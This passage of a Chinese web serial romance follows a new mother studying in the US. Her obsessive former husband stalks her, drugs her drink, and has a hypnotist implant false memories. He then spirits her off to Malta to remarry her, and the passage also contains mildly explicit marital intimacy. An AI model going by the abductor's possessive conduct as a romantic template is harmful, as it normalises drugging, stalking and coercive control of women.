天鸿,不是所有人出生就在象牙塔,而我连灰姑娘都算不上。
*
灵市的四季大厦承建办事处里,楚邵看着林语晨在加州大学的照片,蹙眉说:“她真得回国了,现在人在哪里?”
“应该在港城。具体行踪还没确定。”耿昊坐在办公桌角,“菲儿姐这么扒着你,你咋就喜欢大肚婆?”
楚邵轻嗤:“你懂什么。”眯了眯眼,想到赵有归,“你去深市查一下,她在不在深市医院待产。”
如果林语晨为孩子国籍回国,也会为赵有归在大陆生产。这个女人爱起来也是不遗余力。
“行。那我现在出发。”
你找二舅给你支钱。”楚邵应道。
耿昊与进屋的卷毛擦肩而过,互相打个招呼。
卷毛不敢像耿昊这样直接坐办公桌,先给楚邵递烟点火,嬉笑说:“楚哥,林姐让你今晚去一趟天上人间,帮你约了江源县的祁连局长。”
“她的动作倒是快。祁连是从市局调下去,哪是轻易能打得动的人。孙佳人姐妹失心疯,想回江源县的办法那么多,偏学她爸那套。林菲儿也跟着糊涂。你跟她说,我有事要做,不去了。若真要人去应酬,让她叫上赵楠天。”
楚邵直接把吸两口的烟扔回给卷毛,起身说,“你是我的人,不是林菲儿的狗,别老听她的话。她让你去动林大宝,你就去找麻烦,混蛋。”
卷毛挨了一脚,也不敢发怒,听他提起旧事,赶紧立正弯腰。
“楚哥,我知道错了。当初,你看到耿昊哥给你的孕肚照片,你整个人暴怒发火……我就想着帮你把林小姐从国外叫回来。她的爸妈若出事,林小姐肯定回来啊。
我就听菲儿姐的话使了人,让人叫林大宝受些伤。我真错了。我现在就是个传话筒,绝对不敢再对林小姐的家人出手。而且,我保证确定,一定是你的人。”
“哼!千金别墅随你玩,就被她收买。她手里的钱全是我这边拿去。”
楚邵想起这茬,就气这帮猪队友,竟然把林大宝夫妇推给赵有归,害自己丢个拿捏林语晨的把柄。
如今,人家肚子里都揣上,还偷偷回国生孩子……
楚邵的心和嗓子像是被什么东西掐住一样难受。
前世,若不喂林语晨喝那碗水,他和她是不是早该有个可爱的孩子。
一拳击在桌面,桌面的用具都跳了跳。
楚邵甩了甩手,狠狠地睨向不敢吭声的卷毛,抓起桌面上林语晨的照片就离开办事处。
88. 筑梦师
林语晨在医院住五天。
医生确认她可以出院后,抱着小鱼儿同林爸林妈一起住进淳于芳买的公寓房。卸了货得她肉眼可见的松,精神松弛、身体肚腹这块也松弛。
淳于芳和张茉莉给她找各种塑身秘方,试图让她的体态恢复如初。
赵有归把一切看在眼里,只说语晨怎么样都好看,缀后一句提醒她注意饮食均衡。
林兰香在女儿强忍着不吃荤时给她送一盘葱油鸡丝、一盘清蒸鱼料。
林语晨看着贴心的妈妈,欲哭无泪:“妈,我要不控制饮食会发胖。”
林兰香哼哼:“你哪里胖啦?你不吃,小鱼儿也要吃啊。”
林语晨求救似得看向抱孩子的赵有归。
赵有归已经非常熟练地抱孩子。为同语晨和孩子多相处,又向海市那边延请三天假,陪母女俩亲亲热热住几天。
他接收语晨的眼神,低眉说:“妈,我来喂语晨吧。你照顾小鱼儿。”
林兰香睨着两人,嫌弃地看向女儿:“你就惯着她吧。我把门关上,你给她把硬块揉揉散,免得小鱼儿没得喝。”
“……”林语晨一阵无语,看着唇边的肉丝,“有归哥!”
“吃两口,我吃你剩下的,不让妈发现。”赵有归一脸诚挚地看去,喂她吃一口又一口。
“唔,不要了。”林语晨已经吃四口,再也不张嘴。
赵有归笑下,把剩下的月子餐三两口巴拉掉,余下空盘子。
他回头看语晨在揉按胸口,当即说:“又难受了?”
“嗯。”林语晨瞬间想起林妈走前的话,红了脸。赵有归已经很自觉地去刷牙洗脸,收拾好后来语晨面前,给她带块热毛巾。
林语晨撇着脸,把毛巾按在胸口捂着,等拿下来时看到赵有归倾来,抵住他的脑袋:“你干吗?”
“护士和月嫂、妈都这么说……”赵有归也有点燥,“不然,算了?”
林语晨瞪两只柔亮的大眼睛,委屈说:“你……轻点……”
“好。”赵有归看着她雪白饱满的山峰,顶端红蕊如朵,一时有些心猿意马,想着女儿等着喝奶,这是上级给下的任务,就虔诚地嘬上去。
林语晨忍着那股奇怪的感觉,渐渐地搂住他的头,五指插进他的短发。为缓解尴尬,她下意思问句:“好喝吗?”
“……”赵有归抬起脸,往日一本正经的目光此时有些让人无法直视的荒淫,顿了顿说,“挺复杂的味道。”
林语晨顶着红扑扑的脸蛋,不敢看他。
赵有归心头微动,一时情难自禁,就这样亲过去,让语晨也尝到奶水的味道。
“唔……走开,好腥。小鱼儿怎么喜欢吃啊?”林语晨嫌弃地推他。
赵有归闷笑,揉了揉她发红的唇角:“对于她来说,妈妈就是最好的食物和玩具吧。”
经过这次,两人从起初难为情到后来驾轻就熟,偷偷摸摸亲个嘴也成家常便饭。
只是,这个特殊时段,赵有归是不敢踩红线的。
两天后,林宝黛买奶粉、尿不湿来看望林语晨和孩子,又问她回美的时间。
“感恩节前几天开始请假,若是算下来已经过十二天,你想好往后怎么办吗?”
林语晨算着时间,若在国内照顾小鱼儿一个月,须得在圣诞节前赶回美丽国,再参加期末考试。考完试后不久,可以回家过寒假,再等着过年。
这么算的话,小鱼儿得在一个月后喝奶粉,而她得边考试边回奶,想想都黑暗!
“宝黛姐,你帮我请假到圣诞节前,我会准时回去考试。”
林宝黛看向房间外一家子,以及逗着孩子的男人。
这男人真不小,挺魁梧中正的男人,怎么就由着这个女人折腾?
“我以为你会为孩子选择休学,等明年再去完成学业。”
林语晨沉默,心头也舍不得孩子,但是她知道为将来,有些事必须要坚持去做。
林宝黛看懂她的表情:“你和他、家人商量一下吧。今晚我回京市看望家人,大概留两天再回美。
到时若你改主意就给我打电话。”
“好。”林语晨让林妈送林宝黛。
林宝黛在赵有归面前站了会,逗弄他怀里的孩子,笑说:“赵先生,经常听语晨提起你。我觉得你很有意思,很少见到像你这样愿意包容女性成长的男人。”
赵有归客气地笑着,也感谢宝黛在美照顾语晨,与她浅浅握个手,目光穿过宝黛望向房间里的林语晨,回个大大的笑脸。
林宝黛突然就觉出这个男人的魅力:在他的眼里,世上只有他想守护的人,除此外,没有人能让他心甘情愿地低头。
这真是个很有趣的男人。说他情深,做着公职爱天下人;说他情浅,他眼里只容下那么几个人,只对她们笑得真诚。
临走前,她也回头看向笑容满满的林语晨,回个“你很幸福”的眼神。
赵有归把小鱼儿抱给林大宝,走入房间,轻轻地关上房门。
他握住林语晨的手,细细地摩挲着,一言不发。
林语晨很少从赵有归处感觉到压力,因为她总是自信自己在面对男人时游刃有余。
只是,赵有归毕竟处在那个地位,一旦沉静下来就像只卧在山石上假寐的老虎。你不知道他下一步是不是一跃而起,或者猛虎下山。无论哪种,他都给人一种心理上的压迫感。
作为心理学专业的学生,林语晨对这份压力更为敏感,甚至从他微垂的眼角和轻提的颊边神情推测他在思考、做决定。
林语晨不是被动的性格,咽口吐沫:“你听到了?”
“孩子是带走还是留在家?”赵有归宛如阔叶的眼睛有力地盯着她,面皮有些绷,看起来更是不怒自威。
林语晨垂敛目光,柔声说:“如果带走她,我就不回家过年。”
“那就不带吧。爸妈和我住在一起,请他们帮忙带小鱼儿,这样你也放心。我们等你回来团聚。”赵有归两句话就给她拿主意。
林语晨本是要纠结一番的,蹙起眉间:“你是不是早就想好?”
“没有。”赵有归心道,只是你缺一个帮你下决断和说出口的人。
“语晨,我对你的态度没有改变,希望你做自己喜欢的事。等你想停下来,回头再看我和爸妈、孩子,我们都在原地等你。”
“有归哥!”林语晨伸手环顾他的胸膛,紧紧地揽抱住他,“谢谢你。”
千言万语都不足以表达林语晨内心的感激和庆幸。林宝黛说得对,赵有归这样的男人真得很少见,而且林语晨已经在思考赵有归需要得是什么?
赵有归看她做出决定,进一步说:“小鱼儿的户口得定下来吧?”
林语晨微愣,怎么有种突然从高山到平原的感觉,这个男人!
她嚅动唇齿:“你想好小鱼儿的名字吗?”
“爸说,头一个孩子随我姓。”赵有归笑着,“我说,语晨不一定还肯生,就让小鱼儿姓林吧。
我来取名字,叫——林悦,愉悦的悦。”
“有归哥,”林语晨为自己的小心眼感到惭愧,心眼里充盈感动,“我离开前,咱们先领证,让小鱼儿上户口。然后,我好想好想……回去祭拜婶婶。”
赵有归笑得越发开怀,感念说:“等过年的时候,你回家来,咱们一起带小鱼儿回老家看望她。”
“嗯。”林语晨激动完才发现赵有归这是以退为进呢。话已至此,她暗舒口气,终归是彼此心甘情愿才达成目的。
婚姻需要经营,感情又怎么不是彼此迁就而成。
别看赵有归对林家百依百顺,但他坚持起来也有一套行事原则。如今,小鱼儿是他的第二原则。
林语晨明白他的想法,缓了口气:“那你选个日子,我和你出趟门,咱们去民政局领证。等你回灵市,去给小鱼儿上户口。”
“好。”赵有归搂紧她,闻着浓郁的奶香,轻笑说,“你那还涨吗?”
林语晨给他一拳:“不正经。”
赵有归闷笑两声,叮嘱她好好休息,起身去找小林悦。
*
一个月的时间过得很快,林语晨在家人的护送下上飞机。
她看着来来回回跑瘦的赵有归,再有抱着小林悦殷殷期盼的林爸林妈,以及好友淳于芳等人,重重地挥了挥手。
等坐上飞机,思恋就此开始。
相较于上一次的义无反顾,这次她有新的身份——赵有归的妻子、林悦的母亲,而这两样让她把心都落在他们身边。
座椅旁边是一名位戴墨镜的正装男人,上飞机也不摘下,有些奇怪。
这种天气戴墨镜,不会是港台明星吧?
楚邵看着旁边的女人,嗅着她散出来的奶香味,勾起的唇角透出凉薄。
飞机正式起飞后不久,林语晨就因为涨奶要去厕所。她问服务员要冰块冷敷,再披着薄巾回座位。
楚邵递去一杯冷饮,沉声说:“喝点吧,能好过些。”
“谢谢,不必了。”林语晨撇开脸,侧着身,不让男人的墨镜对过来。
楚邵喝着维生素B6的饮料,慢悠悠说:“你去洛杉矶读书吗?我去旅游,有好地方介绍吗?”
林语晨微愣,豁然盯去,仔细看两眼,与墨镜背后的眼睛悄然对上。
楚邵拉起薄唇笑,比起年前,现在得他不仅肤色发白、体型中正,不再像过去那样偏瘦,西装得体,走在路上多得是人回头瞻望。
只是,这个女人似乎已经把他从记忆里剔除,怎么就能没认出来呢?
两人多少年的冤家,她就这么健忘吗?
一想到这,他笑得越发内敛温煦,心底更是冷哼连连。
林语晨真没有认出楚邵。
她记忆里的楚邵还是在农村混的精瘦小白脸。即使她的汽车被逼上祠堂的石子场,有过一面之缘,那时候楚邵在深市、苏市的工地上真正干过活,被晒的偏黑瘦。
也与她前世记忆里的模样不同。前世的楚邵年过三十五,已经是微胖的白面男人。
林语晨只是觉得有些熟悉:“我们……认识?”
“现在认识也不晚。我的英文名叫Joke。”楚邵伸出手。
林语晨出于礼貌握下,对方的掌心平滑没有厚茧,更像是养尊处优的公子哥。
而这个举动让她露出鼓胀胀的前身。
楚邵挑眉,手背隔空示意下她的身体。
林语晨低头看见后尴尬得红了脸,披紧薄毯。
“你可以叫我Morning。”
楚邵点头,轻笑着褪下外套,递去:“披上吧。如果你想要谢我,可以等下机后带我去洛杉矶有名的地方走走。”
“我不留在洛杉矶,转机前往加州。”林语晨迟疑着接过外套,“等我落地后拿到行礼就还给你。另外,外套多少钱?或者你给我账户,我直接转你衣服钱。”
“呵,若是这样就不必。不过,你去加州吗?那是我计划前往的目的地之一。不然,我去的时候你做我向导吧?我可以提前告诉你酒店地址和入住时间。”
林语晨对加州不算精通,但也挺熟悉,点头说:“行,到时候,我把衣服干洗后给你送去。”
楚邵满意极了,果然按计划与她搭上线。
他把预订的酒店地址写给她,而后沉住气不再交流。
林语晨侧头看去,不解问:“你的眼睛是……”有什么问题吗?
“你说墨镜啊?”楚邵轻扯唇角,“出发前被小猫抓绕了下,为不让人误会就戴着它。”
“哦!”林语晨表示理解。
墨镜遮住他大半张脸,可见这小猫是真凶,但也可能是真猫,也可能是女人。
这与她都没有关系。
飞机落地后,连续坐十多个小时的旅客迫不及待地下机。
林语晨连行李都不用拿,跟着转机前往加州。她看着手里的外套,总觉得那人有点熟悉,又记不起来在哪里见过他。
第二天中午,她顺利回到林宝黛家。
宝黛已经去律所上班。
林语晨洗刷过后倒头就睡觉,倒时差呢。
翌日,她去学校报道,跟熟悉的外国同学打招呼,又有人好奇问她的Baby去哪里?
林语晨说留在老家,给丈夫带,引来一片惊呼。等她告诉她们,自己已经结婚,又引来一片恭喜声。
这时,学校已经有圣诞节的氛围,以往不好交流的外国朋友也变得异常友好。
当然,对于林语晨来说,圣诞节没什么喜庆感,只顾着埋头复习落下的功课,希望期末考别过不了关。
这日,洗衣中心给她送来那件干洗后的西装外套。
林语晨记起要把衣服还给人家,翻出飞机上留的地址。
“啊,幸好赶得及。”
她开林宝黛的车直接去美莱酒店,问前台Joke的入住信息。
酒店客房里,耿昊比楚邵先到达加州,一路安排楚邵的入住、行程等工作。
此时,楚邵正在翻看耿昊拍的所有林语晨的照片,轻轻地点着桌面。
客房响起电铃,耿昊接起电话,随后问楚邵:“楚哥,林小姐来了,说是给你送衣服。”
楚邵默了下,慢条斯理说:“你跟前台说,我没空,让她下次来。”
耿昊有些不明白:“以林小姐的行事作风,恐怕会直接留下衣服走人。她不会上门第二次。”
楚邵沉默的时间有些长:“如果我把她禁锢在这,赵有归会怎么做,你觉得她又会怎么做呢?”
“姓赵的恐怕会乱阵脚,找陆知云帮忙寻人。但他远在天边,不足为虑。只是,林小姐的脾气,不好说啊。”
耿昊敢拍胸脯说句话,跟踪林小姐近一年,多少摸清她的性子。
“以林小姐不鸣则已、一鸣惊人的性子要是闹起来,恐怕非死即伤。”
楚邵点头:“是啊,以她的倔脾气一定会鱼死网破。对了,我让你找的
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心理医生……什么筑梦行家找到吗?”
“人已经约好。但是你让人家做催眠健康人的事……有些麻烦。”耿昊抿着唇,又说,“放心楚哥,我一定会办好这件事。”
“嗯。你下去把衣服拿了。你同她约个时间单独见面感谢她。”楚邵看着他离开,提醒说,“记住,不要给她拒绝你的机会。”
耿昊愣了下,发现这个任务还挺难。
不过,他也有妙计,让酒店前台出面留下林语晨的住址、电话信息,再赶下去拦人约时间。
酒店前台处,林语晨想着衣服留在总台也该有个后续跟进,就一点没多想留下联络信息。
等她踏出酒店,身后有人喊“Morning小姐。”
林语晨回头望去,一个身穿全套牛仔、戴鸭舌帽的青年跑过来。
耿昊笑说:“你好,我是耿昊,Joke先生的助理。”
“你好,林语晨。”林语晨指向前台,“衣服留在那了。”
“呵,我知道。是这样,先生想要在离开前请Morning小姐吃饭,顺便听听加州这边可以投资的项目,不知道Morning小姐什么时候有空呢?”
林语晨的心瞬间提起来:“你认识我?”
“我认识这边的留学生社团负责人。你的名字一问就知道,你很出名。”
林语晨面无表情:确实挺出名,来美留学就大肚子,一点不害臊继续去上学。一般女生可没有这份勇气啊。不出名才奇怪。
“他们是怎么介绍我呢?”
耿昊笑得特灿烂:“嗯……风评毁誉参半。行事作风独特,读书一般,但你是最会赚老美钱的国人留学生。”又赶紧笑着解释,“因为先生认识你,想知道你的一些信息,希望你不介意我们这么做。”
林语晨淡淡地哂笑着:你们查都查了,问过我后还能不查?
“你们还查到什么?”
耿昊看着她一张好看的脸,想起一年来洗过的无数照片,突然觉得近距离看林语晨更美。若能正脸拍她,以她的韵味会非常上境。
难怪楚哥会说那句:你不懂。
特别的有味道的美女,确实很难让人放弃。林语晨与林菲儿是两种完全不同的女人,一位是依附大树的菟丝花,一个是拥有独立人格魅力的新时代女性。
心神微松下,耿昊加大谈话的筹码。
“林小姐在京市也很出名。京市四公子之一的林信华,他的朋友叫张安国。两人都是名副其实的新贵公子。他们口中一直提到的林小姐,应该就是从京师出国留学的Morning小姐吧?就是你!
不少人都想请你吃顿饭。我们先生恰好是其中之一。”
林语晨眯起眼睛,展开公式化的笑容,与他握手:“可是我近期被期末考试和论文压地喘不过气,真没时间吃饭,抱歉。”
调查的好仔细。
他背后的Joke墨镜男究竟是谁?
“既然这样,那正好吃顿饭放松放松……”耿昊看着她一笑过后转身离去的背影,咬紧牙根。
果然同楚哥说得一样,真是个懂得拒绝的女人。
他转回酒店客房,垂头丧气:“楚哥,我提那么多熟人,她不仅不好奇而且一口拒绝我的邀请。”
“你说太多了。她做事简洁,喜欢干脆利落。唯一不简洁的时候是在酒桌上,因为她要达成目的再要摆脱那些人,需要把人安排地明明白白。她可是楚太太。”
楚邵握着酒杯浅抿一口,走到落地窗口看着楼下的林语晨上车离去,目色更深几许。
“我这次跟她来美,就是要完成她身份转变的事。
方案一不行就方案二。无论花多少钱,我都要她同我一起上飞机,去马耳他公证结婚。总之,我要她不论生死都是我楚家的媳妇。”
林语晨,不论前世还是今生,我从未答应你离婚,你就得是我的妻子。
耿昊咽口吐沫,看着眼神阴戾的男人,点头说:“我这就去联系对方。”
回去后,林语晨也向留学生协会打听Joke和耿昊,只得到一点点信息——来美做投资生意的国人,再具体就没了。
她想着只要不应约,对方就会放弃,也不把这件事放在心上。主要是复习、课题任务重,把落下得一个多月的内容都补回来就要她所有的精力。
为此,她还把阿莲那边已经有联系的服装品牌客户资料都传给晨芳国际,让淳于芳和她的下属去交接安排。正如林语晨给自己的定位:只要人脉,不做直接生意人。
期末考试前,林语晨再次接到Joke的电话,还好奇对方怎么还没回国,听对方说有笔生意要谈。
两人简单聊两句,她再次拒绝对方约见吃饭的要求。
年底前,林宝黛也很忙,偶尔的空闲是听林语晨和大洋彼岸的家人打电话,再听听小鱼儿咿咿呀呀的叫嚷声。
每当打完电话,林语晨就干劲更足,一早把论文做完上交,等着参加期末会考。
圣诞节过后,学生们迎接大考,不是哀叹,就是兴致盎然地期待寒假到来。
林语晨也一样,考完试可以买机票回国,将近一个月没看到小鱼儿,几乎让她快思念成疾。
另一边,楚邵得到心理筑梦师地允诺,静静地等着鱼儿上钩。
林语晨考完试后刚要离开学校,被同学喊住,说是教授请她去趟办公室。
教授看着她,简单交流几句,提一个要求:“Morning,我知道你是中国人,听说中国过年很有意思,你有空能和我讲讲吗?我想年底的时候去你的国家旅行。”
这位教授是林语晨的授课老师之一。
她当然愿意向对方介绍祖国,没有防备同他聊起即将到来的新年,说着说着,眼前有些发晕,看向见底的水杯,一下子倒下去。
教授一脸莫名奇妙,喊了她两声,赶紧去办公室外寻人。
楚邵和耿昊从办公室隔间走来。
耿昊打掩护,楚邵拨开林语晨微卷的鬓角长发,望着她温柔的脸蛋,流出一阵轻轻的笑声。
他抱起林语晨,向耿昊点头,留他善后,带着林语晨坐上停在校外的车。
教授带人回来时发现林语晨不见,以为她不告而别,心里还念句这个女孩这么不礼貌,也没当回事。
耿昊上车后长舒口气,让司机往目的地开去。
他从后视镜看着拥住林语晨的楚邵,缓声说:“楚哥,这法子能行吗?”
“本来我也不太了解心理学。你传给我关于她的资料有这项目,我找人多方打听,听说有筑梦师这个行业,而且有成功筑梦的案例。”
楚邵轻轻地嗅着语晨的气息,越发搂紧怀里的人,“你要总这么娴静,那该多好。神仙眷侣说得就是我们。语晨,我来了,就再也不会放手。”
耿昊张大眼,从来没见过楚哥对一个女人有好脸色,便是对林菲儿都是吝于笑脸,没想到林小姐这么与众不同。
以后得改口叫嫂子啰。
89. 求原谅
作为心理学的学生,做过许多不同的心理测验,有名的导师甚至尝试构建心理世界、建造内心堡垒。
大家好奇的催眠技术,只是心理系上一个分支,衍生的筑梦师更是少到不为人知。
林语晨站在省二院的病房窗前,幽幽地看向窗外大街上的车水马龙。她回头望去,什么都是静悄悄,对身体的感知也是极度麻木,处于一种“我已是癌症晚期,马上连站都站不住的地步。”
当这个心理暗示下达,下一秒她就抓着窗台滑落地上。
“啊……不对,我没病……”
抗拒的心里拒绝承认这个场景,下一秒切入到医生下判决书的时刻。
“你这个潜伏期很久了,怎么现在才来看呢?”诊断室的医生叹息了声,“赶紧通知家属,安排住院吧。我把单子开出来,你让家属陪你去住院部。”
失魂落魄的林语晨走出诊断室,擦身而过的男人推开医生的办公室门。
林语晨豁然看去,刚刚那个男人是……赵有归!
她本要去天桥散心的脚步陡然一转,推开医生办公室的大门。
赵有归沉稳内敛的眸子看来,眨眼间,整个人被医生背后的阳光消弭。
林语晨扑过去抓他,世界天旋地转,下一秒,她又躺在病床,掀开医院的条纹被试图下地。
这一刻,她智慧的脑子立时判断到眼前一切都有问题,所面临得全是“假的”。
“心理催眠,植入暗示!有人在害我,醒过来……林语晨,这一切都是假的,醒过来……”
现实里,筑梦师摇了摇头,朝顾客说:“她很敏锐,潜意识的自我抗拒能力很强,很难去更改她的记忆。”
楚邵听着翻译,沉张脸磨着下颚:“你告诉她,所有今生一切都是她的幻想。她现有拥有得一切不过是癌症晚期临死前的一场梦。现在,梦该醒了,而我带她来美治疗癌症。
我要她今世死,前生活。”
筑梦师听着耿昊的翻译,露出诧异的表情:“我试试。”
*
灵市的市局里,钱育才抓着资料蹙眉:“你怎么现在才来报。人消失快一个月,出境往美,不会去找林小妹吧?你把宋景找来,我赶紧通知赵局。”
海市的经贸部办公室,赵有归接到钱育才的电话,听完后急问:“你确定楚邵去美国?”
“对,而且我查到他和林语晨是同一班飞机。赵局,对不住啊,怪我们没把人盯紧。”
“我知道了。我现在就打电话过去问一下那边的情况。”赵有归挂掉电话,整个人绷起来。先是拨打林宝黛家的电话,一直没人接听。
转而又去拨打陆知云的电话。
陆知云睡眼朦胧,听完赵有归的诉述,起身穿衣:“你别急,我现在就打给宝黛,天亮前应该能赶到她们家。你先等我消息。”
赵有归不放心,赶紧叫秘书帮忙安排签证,订飞机票。
*
林语晨是在医院的病房里醒来,一把抓住护士的手臂:“你好,我……”
“你说什么?我不会中文。”护士客气地笑笑,又把她的手塞入床被,用英文说句,“你丈夫很快就会过来,好好休息吧。”
林语晨看着白衣天使离去,揉了揉额头,发觉头顶光滑,人一下子精神:“我的头发呢……”她看向旁边的窗户玻璃,镜面上反射一颗圆润的光头,下面的女人脸苍白瘦削,像鬼一样。
“我病了?!”
刹那,这三字像是口令,打开一只潘多拉魔盒,各种场景从脑海里蹦跃出来,最终化为一阵哀伤。
她不知道为什么哭,只是悲叹那样的自由人生只是一场没有结局的梦。那个真正可以相守一辈子的男人原来只是临死前的幻想,一切都是假的。
“晨晨,你醒了。”楚邵急切地走到床边,一把握住她抹泪的手。
林语晨猛地打开他的手,气呼呼说:“你来干什么?我不想见你。”
“晨晨,我错了。我已经和那些女人都断了,你相信我。我听爸妈说你病了,就赶紧带你来美求医。你刚做完手术,不要激动。”楚邵殷切地说着。
林语晨一摸喉骨,果然有缝合的痕迹。同时,脑海里晃过父母告别,远洋飞机,以及楚邵带她看诊的经历……一时间心情很复杂。
“我……累了。”
“好,你好好休息。”楚邵伸手抹去她眼角滑落的泪水,忍不住又亲在她的额头,“语晨,再给我一次机会吧。我一定不会辜负你。包括……怀孩子的事,老美的医术发达,一定会看好你。”
林语晨嚅着唇,撇开脸,脑海里晃过被他撕毁的离婚协议书。所以,这辈子真得走不出这个困局吗?
若梦里的一切都是真实,那该多好啊。
半个月后,林语晨已经可以在医院走动。
医生给出出院书,还说:“你的不孕症已经治疗康复,恭喜两位可以拥有孩子。”
楚邵激动地抱住林语晨,亲在她戴着栗色假发的头顶:“晨晨,太好了。谢谢医生,那我们下午就能出院?”
医生看眼男人,点头:“检查数据一切都好,下午出院没问题。夫人,近期不要太奔波,伤口刚刚长好,若是太累,抵抗力下降,容易造成伤口炎症。”
“好,谢谢医生。”耿昊帮着两人翻译,又说,“恭喜楚先生、楚太太,终于可以出院、准备回国。”
林语晨感觉一切事情都像是梦一样,情绪也是淡淡的,或许源于她对楚邵早就死心,没有像他那样可激动的。
楚邵带着林语晨出院,而车子与赵有归、林宝黛乘坐的警车擦过。
车上,楚邵直接对耿昊说:“去机场。”
林语晨不解问:“医生不是说不让我跑来跑去吗?”
楚邵拥着她,拉扯个笑容:“林语晨,我要你再嫁给我一次。这一次,我一定好好珍惜你,再也不让你生气,为我劳神。”
他取出一枚粉色彩钻,送到她面前。
耿昊适机从前座捞过一捧玫瑰递去:“先生,花。”
林语晨惊讶地看去,呆于做得一切:“我以为……我们会……”
“晨晨,过去就让它过去吧。从今往后,我真得洗心革面,重新做人,对你绝对专一专情,请你再嫁给我一次吧?”
耿昊和司机都急起来,一个回头往后瞧,一个从后视镜看去:“答应他吧!楚太太。”
林语晨的内心有些厌恶“楚太太”三个字,抿紧唇:“我怎么记得谁好像有个女儿?”
这件事曾经在她内心深处掀起过狂风巨浪,虽然有些模糊,但那个残留的痛苦像是旧伤口,一旦碰到就感觉曾经的痛再次泛滥起来。
“我做了亲子鉴定,那个女人跟很多男人有过关系,孩子不是我的种。晨晨,我只相信你,只有你生的孩子才是我的孩子。”楚邵一脸诚挚说。
“所以,你真得有个女儿。”林语晨推开他手里的戒指盒,撇开脸看向窗外。不想哭,但是堵得慌,有种无法宣泄的闷。
耿昊接收到楚邵的眼神,点头说:“是啊,太太。楚先生没有骗你,那份亲子报告还是我亲眼看到过呢。”
林语晨睨去,眼神里意味不明。
楚邵紧接着说:“晨晨,我知道孩子不是我们之间的问题,问题在于我。你原谅我吧。从今往后,我再也不会做对不起你的事。”
林语晨看着眼底的戒指,以及他诚挚的眼神,内心依旧生出一股抗拒的力量。但是,她的意识好像违背她的心,竟轻轻地点头应允了。
“太好了,晨晨。”楚邵一把揽住她,亲在她的脸颊,“谢谢晨晨。我给你戴上吧。”
司机和耿昊一起恭喜两人。汽车载着他们往机场快速行去。
医院里,赵有归听着医生的狡辩,恨不得揍过去。林宝黛以律师的身份威胁对方,如果再撒谎可以控告他,令他吊销医师执照。
医生和两名护士才不得不说真话。
医生:“她送来的时候喉口已经划开,看起来是自杀性伤口。我只给她做急救和缝合手术。我没有违背医德,最多没有告诉她,已经生育过,但这不影响她接下来生孩子啊?”
护士紧接着说:“我按手术流程,给她清理身体。本来她的手术不需要剃头发,但是她的丈夫提出要求,我不得不做……她的丈夫对她非常好,没有什么不对的地方。”
赵有归不敢想林语晨在什么情况下需要自杀,以她的聪明和智慧,再如何都能与楚邵周旋,除非对方做了什么事迫得她不得不以自杀的方式解决问题。
几人得知楚邵和林语晨、耿昊刚走,又赶紧追出去。
林宝黛急切说:“他会不会送林语晨回家?”
“不可能。楚邵早就预谋好一切,可惜,我们的力量无法拦截他们出入境,让陆知云帮忙试试。”赵有归赶紧说。
林宝黛用移动手机拨打陆知云,希望通过他的关系拦截对方。
机场里,林语晨看着回国机票,上面的英文拼音
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,不解问:“这是我的名字吗?”
“这是你的英文名。”楚邵摸了摸她的脑袋,差点把假发撸下来。
耿昊看着机场越来越多的警察,凑到楚邵耳边:“楚哥,时间差不多,得赶快走。”
林语晨看着又塞来的机票,不解问:“怎么又给我张机票?”回国那张被耿昊抽走。
“我说过要给你一个惊喜,咱们去趟马耳他。然后转机回国见爸妈。”楚邵拉林语晨快步冲入登机口,与留在外面的耿昊点头。
耿昊把真实姓名的三张机票给三名安排好的老外,简单说两句,趁最后催促的时间进前往马耳他的登机闸口。
他进去后回头望,欣赏那群往回国登机口跑去的警察,笑得又得意又自豪:“这群呆子,什么灵市顶梁柱,还不是被我玩弄在鼓掌里。哈哈哈……咱们国内见!”
前往马耳他的飞机起飞时,赵有归和警察一行人从搜检的飞机上下来,除查到三个空座位、被拦截的三名信息不正确的偷乘的流浪汉,根本没看到林语晨的身影。
他气得整个人都在发抖,脑海里充盈想要杀了楚邵的想法。
陆知云和林宝黛赶过来,护在赵有归左右:“监控拍到她,你赶过去认一下人。”
机场监控室的调度处,负责人指着三人说:“是不是这三人?”
赵有归看着显示器里一脸苍白的林语晨,脖子里系着一块淡粉色丝巾,遮掩伤口。而楚邵搂着她,在她耳边亲昵地说着话。
他猛地拍在桌面:“他们坐得哪班飞机?”
“应该是马耳他。飞机已经在半个小时前起飞。”
“可以让飞机回来吗?他这是非法绑架。”赵有归低吼。
负责人和警察协商。
警察说:“但是,视频里看起来她并没有被挟持,而且她是自愿离开。”
“身份实名和机票名字不相符的问题呢?”林宝黛切入要害,“不怕他们危害飞机上的其他乘客吗?”
机场安保拿来机票副联:“他们用得是正规身份的临时身份购买机票,用的英文名,钻了机场漏洞。这个人真是天才!他熟悉我们的制度。”
赵有归瞬间想到耿昊,国际法未毕业学生,曾经在欧洲留过学。当初他就应该拿他偷拍的事抓人,让楚邵没有这只左膀右臂。
负责调度视频的人拉出耿昊上机前的挑衅姿势,忍不住挑眉:“如果他们只是正常带走人,我们没必要兴师动众。”
陆知云听出这帮老美的话意,警察也认为事情到这已经与他们没有关系。
赵有归自然也听出这群人的意思,紧跟着问前往马耳他的下一班飞机什么时候飞。
机场负责人说:“这是个小国家,一般情况一个月才有一次航班。所以,如果你们要我们召回该飞机,抱歉,做不到。我们要对机上其他乘客的时间负责。”
林宝黛听后骂句脏话,死盯两眼显示器上的男人,嚅唇说:“我记住他了。”
陆知云拉赵有归离开,边走边问:“有归,接下来怎么做?”
“他一定会带她回国,我打算先回国。你帮我查他们去医院前都到过哪些地方,害语晨自杀自救的地方在哪,发生过什么事?”
陆知云答应:“好。你放心,你拜托我照顾她,我却没有及时发现她失踪,我有责任,一定尽心尽力去查。”
“多谢。”赵有归与他握手,又转向林宝黛。
林宝黛不等他说话,已经说:“我也有责任。那天她去考试,之后没回来,我是第三天你们打来电话才发现问题。如果我能早点察觉,兴许不会发生之后的事。我同你一起回国,把人找出来。何况,那个叫耿昊的人敢挑衅我们,非得报这仇不可。”
“好。我们一起回去。”赵有归也正需要林宝黛的力量,压住内心的仓惶和不安,转身去安排回国等事情。
陆知云离开后,同当地警察协商,进一步探知林语晨失踪前的真相。
*
飞机上的林语晨看着窗外无边无际的浮云,尽头处低沉的夕阳,心底升起一股割舍不下的感情。
梦里的她不是第一次坐飞机,第一次时的孤独像浮云底下的深黑大海,吞噬的人喘不过气。
而上一次,她舍不下梦里得那些人,又因为一些不得不做的理由离开她们。
“所以,那……真得只是梦吗?”
楚邵拉住她的手腕,试图十指交握:“晨晨,梦就是梦,现实是现实。我们的明天才是真实。”
90. 你已婚
